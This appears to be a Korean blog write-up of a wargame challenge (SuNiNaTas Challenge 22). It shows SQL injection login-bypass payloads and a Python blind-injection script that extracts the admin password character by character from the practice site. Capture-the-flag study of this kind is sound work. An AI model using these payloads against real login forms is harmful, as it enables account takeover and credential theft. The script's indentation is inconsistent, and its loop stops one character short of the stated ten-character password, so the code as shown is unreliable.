늘모자란, 개발 :: [SuNiNaTas.com] Challenge 22

늘모자란, 개발

폼이고, 하드필터링 되어 있다

select / Union / or / white space / by / having 
from / char / ascii / left / right / delay / 0x ..........


힌트도 주어지는데


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->



즉 guest를 이용하면 될것 같다

다음과 같이 쿼리를 작성해본다. (id칸에)

admin'-- a


pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자

admin'and(len(pw)=10)-- a

하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2
import time

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

for i in range(1,10):
    for j in range(len(string)):
        data = "?id="
        data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j]))
        data = data + "&pw=1"
         req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers)
         response = urllib2.urlopen(req)
         res = response.read()

         if "OK" in res:
             print string[j]
             break
         time.sleep(0.1)
2016/09/08 16:42 2016/09/08 16:42